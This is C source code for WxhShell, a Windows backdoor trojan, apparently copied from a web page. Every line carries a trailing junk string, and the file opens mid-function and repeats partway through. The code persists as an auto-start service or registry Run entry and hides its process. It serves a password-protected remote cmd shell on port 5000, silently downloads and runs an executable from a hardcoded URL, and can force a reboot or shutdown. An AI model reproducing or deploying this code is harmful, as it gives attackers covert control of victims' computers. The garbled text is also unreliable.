    if(Boot(SHUTDOWN))  ahno$[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A3VXh^y+  
    else { kDAPT_Gid  
    closesocket(wsh); c5& _'&  
    ExitThread(0); tp-PE?  
    } ~9N n8g6  
    break; gi|j ! m  
    } #@QZ  
  // 获取shell )zzK\I6/EQ  
  case 's': { .]_ (>^6  
    CmdShell(wsh); mT@8(  
    closesocket(wsh); xU4,Rcgo  
    ExitThread(0); SL9]$MmJn  
    break; '+6SkZ  
  } p_x@FA(  
  // 退出 %z}{jqD&:X  
  case 'x': { ai!zb2j!E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~|_s2T  
    CloseIt(wsh); 0:Ow$  
    break; `@$qy&AJ  
    } +=v6 *%y"V  
  // 离开 )*=ds ,  
  case 'q': { .</`#   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [ &cCE   
    closesocket(wsh); WJp9io[GM  
    WSACleanup(); 2m]C mdV^  
    exit(1); afVl)2h  
    break; n2NxO0  
        } Dp)5u@I  
  } o(=\FNe  
  } %s}c#n)N  
%|&WcpQR  
  // 提示信息 8J}gj7^8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); osS?SuQTE  
} JVPl\I  
  } u|v2J/_5Y  
Ifgh yh<d  
  return; Rt &Oz!TQ  
} 8reis1]2S  
V&i/3g  
// shell模块句柄 ^W&qTSjh  
int CmdShell(SOCKET sock) 9~ [Sio~  
{ >}& :y{z~  
STARTUPINFO si; VI{!ZD]  
ZeroMemory(&si,sizeof(si)); @2>A\0U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'G6g yO/K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I\%a<  
PROCESS_INFORMATION ProcessInfo; S?ypka"L  
char cmdline[]="cmd"; )5NfOvmNB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EDMuQu/D8  
  return 0; O#j&8hQ>  
} CK<Wba  
sop *?0  
// 自身启动模式 ?<YQ %qaW7  
int StartFromService(void) z}'-gv\,  
{ {h< V^r  
typedef struct R^DZ@[\iV  
{ ) =KD   
  DWORD ExitStatus; Hs}3c R}  
  DWORD PebBaseAddress; fC$Rz#5?  
  DWORD AffinityMask; =l7@YCj5c  
  DWORD BasePriority; KaEL*  
  ULONG UniqueProcessId; k/ 6Qwb#  
  ULONG InheritedFromUniqueProcessId; Bu[sSoA  
}   PROCESS_BASIC_INFORMATION; }XJA#@  
/$w,8pV =  
PROCNTQSIP NtQueryInformationProcess; ,".1![b  
|ia#Elavo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V 6DWYs>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +v!% z(  
41Y1M]`=  
  HANDLE             hProcess; ,~ z*V;y)  
  PROCESS_BASIC_INFORMATION pbi; w"A.*8Iu  
! MTmG/^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Yo 0wufbfV  
  if(NULL == hInst ) return 0; G1RUu-~+  
q9)]R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e}xx4mYo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .paKV"LJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); thT2U8%T  
8h,>f#)0c  
  if (!NtQueryInformationProcess) return 0; 8-s7^*!  
GkOZ =ej  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <$ "   
  if(!hProcess) return 0; U ]o  
zJ"`40V*;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U=kP xe  
e7n[NVrX  
  CloseHandle(hProcess); \ 5&-U@  
+4*3aWf`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f ye=8 r  
if(hProcess==NULL) return 0; +D3w2C  
`RF0%Vm~t  
HMODULE hMod; ,Y) 7M3I  
char procName[255]; _Se0,Uns  
unsigned long cbNeeded; C\3;o]  
&U.U<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vYPZVqF_$  
yH9(ru  
  CloseHandle(hProcess); ]!um}8!}  
Em<B 9S  
if(strstr(procName,"services")) return 1; // 以服务启动 b.N$eJlQ&  
[}mx4i  
  return 0; // 注册表启动 JZ l"k  
} i9RAb tQ}  
rpB0?h!$  
// 主模块 X[e:fW[e)  
int StartWxhshell(LPSTR lpCmdLine) y7X2|$9z-  
{ bjO?k54I  
  SOCKET wsl; ij=_h_nA  
BOOL val=TRUE; Wb1?>q  
  int port=0; 4#^E$N:  
  struct sockaddr_in door; DN$[rCi7  
|E}-j;(  
  if(wscfg.ws_autoins) Install(); P]~apMi:  
<n;9IU  
port=atoi(lpCmdLine); !l(O$T9 T  
"mtEjK5  
if(port<=0) port=wscfg.ws_port; rk E;OU  
`K%f"by  
  WSADATA data; a'Vz|S G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?LwBF;Y  
H(QbH)S$6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^oLMgz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -4;$NiB?  
  door.sin_family = AF_INET; vWs#4JoG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;%ng])w=;  
  door.sin_port = htons(port); 6?BV J  
~LfFLC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @'~7O4WH  
closesocket(wsl); +{r~-Rn3  
return 1; _k|k$qxE  
} w$evAPuz^  
,6EFJVu \  
  if(listen(wsl,2) == INVALID_SOCKET) { @'> Ul!.]  
closesocket(wsl); )8JfBzR  
return 1; RSTA!?K/.  
} |uIgZ|7[  
  Wxhshell(wsl); ,SF>$ .  
  WSACleanup(); riu_^!"Z_  
uBUT84i  
return 0; /* G-\|  
PiVp(; rtQ  
} x,fX mgE  
TB%NHq-!  
// 以NT服务方式启动 c$n`=NI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UfNcI[xr  
{ |I2~@RfpO:  
DWORD   status = 0; ZWb\^N  
  DWORD   specificError = 0xfffffff; r @URs;O=  
PN"=P2e/ 6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -%_vb6u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .P(A x:g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~5;2ni8n  
  serviceStatus.dwWin32ExitCode     = 0; m:W+s4!E  
  serviceStatus.dwServiceSpecificExitCode = 0; V2B: DIpr  
  serviceStatus.dwCheckPoint       = 0; AT -  
  serviceStatus.dwWaitHint       = 0; 89YG `  
sHPK8Wsg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Qm)c!  
  if (hServiceStatusHandle==0) return; 9&"wfN N  
G2s2i2& 6E  
status = GetLastError(); _x]q`[Dih  
  if (status!=NO_ERROR) w?JM;'<AYQ  
{ 9!,f4&G`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iTVepYv4m  
    serviceStatus.dwCheckPoint       = 0; ZPlY]e  
    serviceStatus.dwWaitHint       = 0; ,CP&o  
    serviceStatus.dwWin32ExitCode     = status; rebWXz7  
    serviceStatus.dwServiceSpecificExitCode = specificError; !a7YM4D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ YcIG OL  
    return; M=sGPPj  
  }  (2dkmn  
|H'wDw8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; H03R?S9AQ  
  serviceStatus.dwCheckPoint       = 0;  , D}  
  serviceStatus.dwWaitHint       = 0; ?/YT,W<c;&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *lBX/O`=  
} X_(n  
0I}c|V'P  
// 处理NT服务事件,比如:启动、停止 v9GfudTZR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n*m"yp  
{ i{}Q5iy  
switch(fdwControl) ZJOO*S  
{ )P#xny2  
case SERVICE_CONTROL_STOP: xsRu~'f  
  serviceStatus.dwWin32ExitCode = 0; uC5W1LyI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p&lT! 5P!A  
  serviceStatus.dwCheckPoint   = 0; bI:cYn1  
  serviceStatus.dwWaitHint     = 0; ,h },jkY4  
  { \os"j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9D @}(t !  
  } e[g.&*!  
  return; xP5Z -eL  
case SERVICE_CONTROL_PAUSE: *|S{%z9>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  Eikt,  
  break; #OsUF,NU  
case SERVICE_CONTROL_CONTINUE: a9p6[qOcd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2T-3rC)  
  break; s>a(#6Q  
case SERVICE_CONTROL_INTERROGATE: hEfFMi=a`  
  break; wmaj[e,h  
}; T%@qlEmf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wQrD(Dv(yA  
} AxiCpAS;J  
X~rHNRIU  
// 标准应用程序主函数 vve[.Lud'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZnRE:=  
{ ~uweBp~O  
zF_aJ+i:~  
// 获取操作系统版本 86ml.VOR  
OsIsNt=GetOsVer(); )"&\S6*!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .!Q?TSQ+{!  
4/QQX;w  
  // 从命令行安装 rB-}<22.  
  if(strpbrk(lpCmdLine,"iI")) Install(); skBzwVW I  
; d :i  
  // 下载执行文件 lKLb\F%  
if(wscfg.ws_downexe) { "xE;IpO[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -"w&g0Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); XO"BEj<x  
} 6a*OQ{8  
K&%YTA  
if(!OsIsNt) { I.'sK9\Zp  
// 如果时win9x,隐藏进程并且设置为注册表启动 \++#adN:K  
HideProc(); KL+,[M@ F  
StartWxhshell(lpCmdLine); i`vgD<}  
}  nCSXvd/  
else R\>=}7  
  if(StartFromService()) .6y(ox|LL  
  // 以服务方式启动 x#TWZ;  
  StartServiceCtrlDispatcher(DispatchTable); m| k:wuzqK  
else :t6.J  
  // 普通方式启动 4e9'yi  
  StartWxhshell(lpCmdLine); m; m4/z3U  
`I)ftj%  
return 0; m|cT)-  
} Tp fC  
Mf.:y  
*Q:EICDE7  
m/>z}d05h  
=========================================== sp&)1?!M  
P1}Fn:Xe%7  
PU{7s  
7d'gG[Z^^  
1F58 2 l  
cb9q0sdf  
" AHtLkfr(r  
F` gQ[  
#include <stdio.h> } l4d/I  
#include <string.h> qra5&Fvb  
#include <windows.h> O)WduhlGQ  
#include <winsock2.h> $ h<l  
#include <winsvc.h> OBJk\j+Wi  
#include <urlmon.h> UkV{4*E  
6=xbi{m$  
#pragma comment (lib, "Ws2_32.lib") no lLeRE1  
#pragma comment (lib, "urlmon.lib") 4Js9"<w  
En]+mIEo  
#define MAX_USER   100 // 最大客户端连接数 ,c\3b)ax  
#define BUF_SOCK   200 // sock buffer "lJ [H=\  
#define KEY_BUFF   255 // 输入 buffer Ib665H7w  
3gzcpFNqX  
#define REBOOT     0   // 重启 v5!G/TZ1  
#define SHUTDOWN   1   // 关机 {=GWQn6cc  
m?=9j~F *  
#define DEF_PORT   5000 // 监听端口 qC?\i['`  
V=|X=:fuih  
#define REG_LEN     16   // 注册表键长度 D/=  AU  
#define SVC_LEN     80   // NT服务名长度 auP6\kpMe  
GMO|A.bzzN  
// 从dll定义API . |g67PH=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A(>kp=~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 09 >lx$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rM?ox  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C/L+:b&x~  
d5ivtK?  
// wxhshell配置信息 ,wvzY7%  
struct WSCFG { 0^PI&7A?y  
  int ws_port;         // 监听端口 `*nK@:  
  char ws_passstr[REG_LEN]; // 口令 kTLA["<m  
  int ws_autoins;       // 安装标记, 1=yes 0=no (YJ]}J^  
  char ws_regname[REG_LEN]; // 注册表键名 )=)=]|3  
  char ws_svcname[REG_LEN]; // 服务名 =_/,C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ? <.U,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]%K 8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pWwB<F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bl)iji`]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n^7$ST#'bV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4l~0LdYXKm  
xgeKz^,  
}; 75pz' Cb  
H8}}R~ZO  
// default Wxhshell configuration )@]Y1r4U  
struct WSCFG wscfg={DEF_PORT, > CPJp!u  
    "xuhuanlingzhe", ul',!js?  
    1, 1JU1XQi  
    "Wxhshell", u,6 'yB'u  
    "Wxhshell", h*qoe(+ZD  
            "WxhShell Service", 'e(`2  
    "Wrsky Windows CmdShell Service", .7HnWKUV  
    "Please Input Your Password: ", !1H\*VM "  
  1, cO#e AQf7  
  "http://www.wrsky.com/wxhshell.exe", 96.A8o  
  "Wxhshell.exe" W~1MeAI  
    }; GoGo@5n(Z  
i*JbFukG  
// 消息定义模块 Q7]VB p4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +=y ktf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ms%Ot:uA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (]yOd/ru/C  
char *msg_ws_ext="\n\rExit."; ;rj=hc  
char *msg_ws_end="\n\rQuit."; I\0mmdi73  
char *msg_ws_boot="\n\rReboot..."; Us ]Uy|j  
char *msg_ws_poff="\n\rShutdown..."; cXO_g!&2A  
char *msg_ws_down="\n\rSave to "; ZR3x;$I~4  
C<.t'|  
char *msg_ws_err="\n\rErr!"; GA{Q6]B  
char *msg_ws_ok="\n\rOK!"; J!@$lyH  
6c3+q+#J2  
char ExeFile[MAX_PATH]; ZcXqH7`r  
int nUser = 0; U~SOHfZ%(  
HANDLE handles[MAX_USER]; =%:mZ@x'  
int OsIsNt; }@pe `AF^  
mySm:ToT  
SERVICE_STATUS       serviceStatus; 1f 0"z1   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T#1>pED  
]Qp0|45=  
// 函数声明 G;+hc%3y  
int Install(void); -L/5Nbup  
int Uninstall(void); Sdc;jK 9d!  
int DownloadFile(char *sURL, SOCKET wsh); $+Hv5]/hb  
int Boot(int flag); 5Dy800.B2  
void HideProc(void); ~%4#R4&  
int GetOsVer(void); &8Cuu$T9)  
int Wxhshell(SOCKET wsl); i6[,m*q~2x  
void TalkWithClient(void *cs); 0VV1!g  
int CmdShell(SOCKET sock); {)eV) 2a  
int StartFromService(void); Kt%`]Wp  
int StartWxhshell(LPSTR lpCmdLine); 2'"$Y'  
4"e7 43(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ms=I lz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); saH +C@_,  
B 0%kq7>g  
// 数据结构和表定义 =;{vfjj  
SERVICE_TABLE_ENTRY DispatchTable[] = n_@YKz;8  
{ /Xi:k  
{wscfg.ws_svcname, NTServiceMain}, Kfc(GL?  
{NULL, NULL} {PHxm  
}; ybtje=3E  
}6P]32d  
// 自我安装 /q %TjQ}F  
int Install(void) .E_`*[ 5=  
{ BCya5!uy  
  char svExeFile[MAX_PATH]; _Gy*";E  
  HKEY key; AM}-dKei|  
  strcpy(svExeFile,ExeFile); GYiUne $  
31|Vb  
// 如果是win9x系统,修改注册表设为自启动 &X^~%\F:2  
if(!OsIsNt) { 8zz-jk R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FXFQ@q*}v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J$PE7*NU  
  RegCloseKey(key); /Mf45U<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p&bQ_XOH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?x]T &S{  
  RegCloseKey(key); 9VIsLk54^  
  return 0; 8|7fd|6~  
    } nF}]W14x  
  } * Yov>lO  
} n$}c+1   
else { iD@2_m)  
Yc#oGCt  
// 如果是NT以上系统,安装为系统服务 $,icKa   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A1\;6W:  
if (schSCManager!=0) XLFJ?$)Tro  
{ dvsOJj/b  
  SC_HANDLE schService = CreateService sl%B-;@I  
  ( f&^K>Jt1@#  
  schSCManager, bM8b3, }?n  
  wscfg.ws_svcname, H"I|dK:  
  wscfg.ws_svcdisp, a&ZH  
  SERVICE_ALL_ACCESS, bQ0m=BzF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , blaxUP:  
  SERVICE_AUTO_START, R^dAwt`.D  
  SERVICE_ERROR_NORMAL, ;wDcYs  
  svExeFile, 61T"K  
  NULL, hig^ovF  
  NULL, |!I#T  
  NULL, i/oaKpPN  
  NULL, EEn}Gw  
  NULL e|AJxn]  
  ); )e9(&y*o  
  if (schService!=0) D4n ~ 2]  
  { Y.F:1<FAtf  
  CloseServiceHandle(schService); #(bMZ!/(  
  CloseServiceHandle(schSCManager); rq}ew0&/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <8r%_ ']  
  strcat(svExeFile,wscfg.ws_svcname); ZxbWgM5rm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (EuHQ &<^9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O>|Q Zd  
  RegCloseKey(key); hRxR2  
  return 0; kP6g0,\|a|  
    }  5ah]E  
  } ~+QfP:G  
  CloseServiceHandle(schSCManager); '(&.[Pk:"  
} gHvxmIG  
} ?8b?{`@V  
}LDDm/$^}  
return 1; *8,]fBUq  
} ?o),F^ir  
d1``} naNw  
// 自我卸载 l>7`D3  
int Uninstall(void) kVy%y"/  
{ L!c7$M5xJ  
  HKEY key; jUI'F4.5x-  
=+'4u  
if(!OsIsNt) { vitmG'|WG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P8).Qn  
  RegDeleteValue(key,wscfg.ws_regname); m+"?;;s  
  RegCloseKey(key); u z4P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +P6q wh\v  
  RegDeleteValue(key,wscfg.ws_regname); /b@8#px  
  RegCloseKey(key); yFH)PQ_  
  return 0; |.)oV;9  
  } }O<=!^Y;A  
} hcWkAR  
} AWi~qzTZ  
else { bQr H8)  
MHpPb{ ^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xCEEv5(5  
if (schSCManager!=0) O!\P]W4r$  
{ JC_Y#kN@z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uv/I`[@HK8  
  if (schService!=0) T7'njaLec  
  { q+>{@tP9  
  if(DeleteService(schService)!=0) { 1*Yf[;L  
  CloseServiceHandle(schService); :0Rd )*k,v  
  CloseServiceHandle(schSCManager);  -*_D!  
  return 0; ?76Wg::  
  } nws '%MK)  
  CloseServiceHandle(schService); T\{ on[O  
  } gah3d*d7  
  CloseServiceHandle(schSCManager); P|!GXkS  
} \|F4@  
} <IC=x(T  
Q&opnvN  
return 1; +%OINMo.A  
} 9gZMfP  
N/p9Ws  
// 从指定url下载文件 GLp2 ?fon  
int DownloadFile(char *sURL, SOCKET wsh) aEo!yea  
{ AE={P*g  
  HRESULT hr; .0:BgM  
char seps[]= "/"; GvF8S MO[x  
char *token; Kyt.[" p  
char *file; 9z$]hl  
char myURL[MAX_PATH]; "o 2p|2c  
char myFILE[MAX_PATH]; AjKP -[  
w},' 1  
strcpy(myURL,sURL); OL4I}^*,  
  token=strtok(myURL,seps); Dd-;;Y1C  
  while(token!=NULL) w,bILv)  
  { {>H#/I8si  
    file=token; kT&-:: ^R  
  token=strtok(NULL,seps); ZM K"3c9  
  } <W~5;m  
L-hK(W!8pt  
GetCurrentDirectory(MAX_PATH,myFILE); e^&QT  
strcat(myFILE, "\\"); jJk M:iR  
strcat(myFILE, file); T]Gxf"mK  
  send(wsh,myFILE,strlen(myFILE),0); l=8)_z;~D  
send(wsh,"...",3,0); Fq!12/Nn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gcqcY  
  if(hr==S_OK) ,],"tzKtE  
return 0; M>D 3NY[,  
else BF@(`D&>  
return 1; JZ  Qkr  
l>`N+ pZ$  
} ]wh8m1  
9_h 3<3e  
// 系统电源模块 b Gq0k&  
int Boot(int flag) `au(' xi<  
{ @'C f<wns  
  HANDLE hToken; u*B.<GmN  
  TOKEN_PRIVILEGES tkp; %y)5:]  
b#bdz1@s  
  if(OsIsNt) { L&=j O0_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9r-]@6;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s `HSTq2  
    tkp.PrivilegeCount = 1; -CfGWO#Gbx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F@Y)yi?z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iwWy]V m7  
if(flag==REBOOT) { !`q*{Ojx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vo}3E]  
  return 0; lwYk`'  
} qIcQPJn!}  
else { i#$9>X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L@2%a'  
  return 0; sUN>uroi !  
} rLs)*A!  
  } Ni*f1[sI<  
  else { p.^mOkpt  
if(flag==REBOOT) { CXks~b3SD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `<kHNcm  
  return 0; fI>>w)5  
} 9 P_`IsVK  
else { x7K   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C=(-oI n  
  return 0; JIvVbI  
} K]' 84!l  
} Y,RED5]t  
.Gq.st%  
return 1; r`XIn#o  
} jT"P$0sJAd  
Qw4P{>|Y  
// win9x进程隐藏模块 ATCFdtNc  
void HideProc(void) 7)$U>|=  
{ gS4zX>rqe  
p 2x OjS1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8v@6 &ras@  
  if ( hKernel != NULL ) F>jPr8&  
  { !R;P"%PHV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n={} ='  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H `y.jSNi  
    FreeLibrary(hKernel); Mf7Q+_!  
  } _6"vPN  
J"QXu M  
return; r_p9YS@I  
} |0FRKD]  
Z l.}=  
// 获取操作系统版本 N ?Jr8  
int GetOsVer(void) :J]S+tQ)  
{ (UDF^  
  OSVERSIONINFO winfo; &[,g `S0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (1H_V(  
  GetVersionEx(&winfo); `GOxFDB.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I7TdBe-  
  return 1; c nvxTI<  
  else %y.9S=,v,  
  return 0; ^;+lsEW  
} R9&T0Qf  
mE)65@3%  
// 客户端句柄模块 c_clpMx=  
int Wxhshell(SOCKET wsl) b\NWDH7}  
{ c:I1XC  
  SOCKET wsh; sj a;NL  
  struct sockaddr_in client; 6G6Hg&B  
  DWORD myID; 9qD/q?Hh$  
QT{$2 7;  
  while(nUser<MAX_USER) ya5a7  
{ $_ub.g|  
  int nSize=sizeof(client); ;5^ grr@,4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~-x8@ /   
  if(wsh==INVALID_SOCKET) return 1; Fn$/ K  
^(m`5]qr7J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9\3%5B7  
if(handles[nUser]==0) +*,rOK`C  
  closesocket(wsh); &N1C"Eov?  
else o_/C9[:  
  nUser++; !jY/}M~F1  
  } X@Eq5s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;=: R|  
s([9 /ED  
  return 0; k/AcXU%O+  
} !_E E|#`n  
PN2\:l+`  
// 关闭 socket F3jrJ+nJ  
void CloseIt(SOCKET wsh) WIOV  
{ Iu|G*~\  
closesocket(wsh); ~6U@*Svk  
nUser--; qTC`[l  
ExitThread(0); mkYM/*qyM&  
} w3Aq[1U0  
a$#,'UB  
// 客户端请求句柄 ^q"p 8   
void TalkWithClient(void *cs) @ :Q];rc  
{ %r6LU<;1@  
i051qpj  
  SOCKET wsh=(SOCKET)cs; Xn.zN>mB  
  char pwd[SVC_LEN]; ]@l~z0^|[_  
  char cmd[KEY_BUFF]; &k\7fvF  
char chr[1]; 6_;3   
int i,j; o]n5pZ\\W<  
;G!X?(%+  
  while (nUser < MAX_USER) { H;*:XLPF  
%xxe U  
if(wscfg.ws_passstr) { l*_b)&CH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^]'p927  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +>z/54R  
  //ZeroMemory(pwd,KEY_BUFF); |F<U;xV$p  
      i=0; 5g F}7D@  
  while(i<SVC_LEN) { *bn9j>|iv  
%P_\7YBC>  
  // 设置超时 {0QD-b o  
  fd_set FdRead; -iBu:WyY$  
  struct timeval TimeOut; ] 5P{*  
  FD_ZERO(&FdRead); 4}580mBc  
  FD_SET(wsh,&FdRead); j /-p3#c  
  TimeOut.tv_sec=8; ^!{oyw   
  TimeOut.tv_usec=0; W$gSpZ_7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q C~~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'P@a_*I  
"R*B~73  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  Ea\a:  
  pwd=chr[0]; NXeo&+F  
  if(chr[0]==0xd || chr[0]==0xa) { 2_r}4)z  
  pwd=0; 0)ST_2Ci  
  break; KN}[N+V>  
  } ]qVJ>  
  i++; y H+CyL\  
    } G#dpSNV3|  
::TUSz2/2  
  // 如果是非法用户,关闭 socket bL0+v@(r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DMf^>{[  
} d_5h6C z4  
~d{E>J77j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !\awT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t"0~2R6i  
=[1 W.Zt  
while(1) { c |C12b[  
VKik8)/.  
  ZeroMemory(cmd,KEY_BUFF); pQVi&(M  
7/*; rT  
      // 自动支持客户端 telnet标准   oAvJ"JH@i  
  j=0; oR-_=U^  
  while(j<KEY_BUFF) { t9K.Jc0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zv0RrF^  
  cmd[j]=chr[0]; 2tWUBt\,g  
  if(chr[0]==0xa || chr[0]==0xd) { `M7){  
  cmd[j]=0; e6F:['j  
  break; FswFY7 8  
  } cz T@txF  
  j++; dk(-yv'  
    } }U^9(  
[MiD%FfcNH  
  // 下载文件 DdSUB  
  if(strstr(cmd,"http://")) { RhQOl9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ix *KL=MG  
  if(DownloadFile(cmd,wsh)) 'HqAm$V+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >_F& oA#  
  else F`u{'w:Hv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yv'rJI~ Ps  
  } H/, tE0ZV  
  else { 10[~ki-1;  
$C[YqZO  
    switch(cmd[0]) { a,j!B hu  
  eQ9x l  
  // 帮助 *Lh0E/5  
  case '?': { "(C }Dn#  
